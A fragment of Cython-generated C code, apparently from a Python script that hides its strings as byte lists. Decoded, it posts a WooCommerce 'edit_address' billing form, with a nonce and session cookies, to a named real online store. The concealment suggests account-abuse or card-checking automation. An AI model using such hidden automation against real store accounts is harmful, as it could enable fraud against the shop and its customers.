    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 26, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 27, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 28, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 29, __pyx_int_101);
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_15); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 464, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 464, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_address); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 464, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    if (PyDict_SetItem(__pyx_t_9, __pyx_t_15, __pyx_t_2) < 0) __PYX_ERR(0, 452, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

    
    __pyx_t_2 = PyList_New(16); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 465, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_2, 1, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_2, 2, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_2, 3, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_2, 4, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_2, 5, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_2, 6, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_2, 7, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_2, 8, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_2, 9, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_2, 10, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_2, 11, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_2, 12, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_2, 13, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_2, 14, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_2, 15, __pyx_int_114);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_2); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 465, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 465, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = PyList_New(33); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 465, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 0, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 1, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_121);
    __Pyx_GIVEREF(__pyx_int_121);
    PyList_SET_ITEM(__pyx_t_15, 2, __pyx_int_121);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_15, 3, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 4, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 5, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 6, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 7, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_15, 8, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 9, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 10, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 11, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 12, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_15, 13, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 14, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 15, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_15, 16, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 17, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_15, 18, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_15, 19, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_15, 20, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 21, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_15, 22, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_15, 23, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 24, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_98);
    __Pyx_GIVEREF(__pyx_int_98);
    PyList_SET_ITEM(__pyx_t_15, 25, __pyx_int_98);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 26, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 27, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 28, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 29, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 30, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_15, 31, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 32, __pyx_int_47);
    __pyx_t_1 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_15); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 465, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = __Pyx_decode_bytes(__pyx_t_1, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 465, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    if (PyDict_SetItem(__pyx_t_9, __pyx_t_2, __pyx_t_15) < 0) __PYX_ERR(0, 452, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;

    
    __pyx_t_15 = PyList_New(6); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 466, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 0, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 1, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 2, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 3, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 4, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 5, __pyx_int_110);
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_15); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 466, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 466, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = PyList_New(12); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 466, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_2, 1, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_2, 2, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_2, 3, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_2, 4, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_2, 5, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_2, 6, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_2, 7, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_2, 8, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_2, 9, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_2, 10, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_2, 11, __pyx_int_115);
    __pyx_t_1 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 466, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = __Pyx_decode_bytes(__pyx_t_1, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 466, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    if (PyDict_SetItem(__pyx_t_9, __pyx_t_15, __pyx_t_2) < 0) __PYX_ERR(0, 452, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_data, __pyx_t_9) < 0) __PYX_ERR(0, 451, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_r); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 468, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_post); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 468, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;

    
    __pyx_t_9 = PyList_New(58); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 469, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_9, 0, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_9, 1, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_9, 2, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_9, 3, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_9, 4, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_58);
    __Pyx_GIVEREF(__pyx_int_58);
    PyList_SET_ITEM(__pyx_t_9, 5, __pyx_int_58);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_9, 6, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_9, 7, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_9, 8, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_9, 9, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_9, 10, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_9, 11, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_9, 12, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_9, 13, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_9, 14, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_9, 15, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_9, 16, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 17, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_118);
    __Pyx_GIVEREF(__pyx_int_118);
    PyList_SET_ITEM(__pyx_t_9, 18, __pyx_int_118);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_9, 19, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_9, 20, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_9, 21, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_9, 22, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_9, 23, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_9, 24, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_9, 25, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_9, 26, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_121);
    __Pyx_GIVEREF(__pyx_int_121);
    PyList_SET_ITEM(__pyx_t_9, 27, __pyx_int_121);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_9, 28, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 29, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_9, 30, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_9, 31, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_9, 32, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_9, 33, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_9, 34, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_9, 35, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_9, 36, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_9, 37, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_9, 38, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 39, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_9, 40, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_9, 41, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 42, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_9, 43, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_9, 44, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_9, 45, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_9, 46, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_9, 47, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_9, 48, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_9, 49, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_98);
    __Pyx_GIVEREF(__pyx_int_98);
    PyList_SET_ITEM(__pyx_t_9, 50, __pyx_int_98);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 51, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_9, 52, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_9, 53, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 54, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_9, 55, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_9, 56, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_9, 57, __pyx_int_47);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_9); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 469, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 469, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;

    
    __pyx_t_15 = PyTuple_New(1); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 468, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_GIVEREF(__pyx_t_9);
    PyTuple_SET_ITEM(__pyx_t_15, 0, __pyx_t_9);
    __pyx_t_9 = 0;

    
    __pyx_t_9 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 470, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_r); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 470, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_cookies); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 470, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_cookies, __pyx_t_10) < 0) __PYX_ERR(0, 470, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_headers); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 471, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_headers, __pyx_t_10) < 0) __PYX_ERR(0, 470, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_data); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 472, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_data, __pyx_t_10) < 0) __PYX_ERR(0, 470, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

    
    __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_15, __pyx_t_9); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 468, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
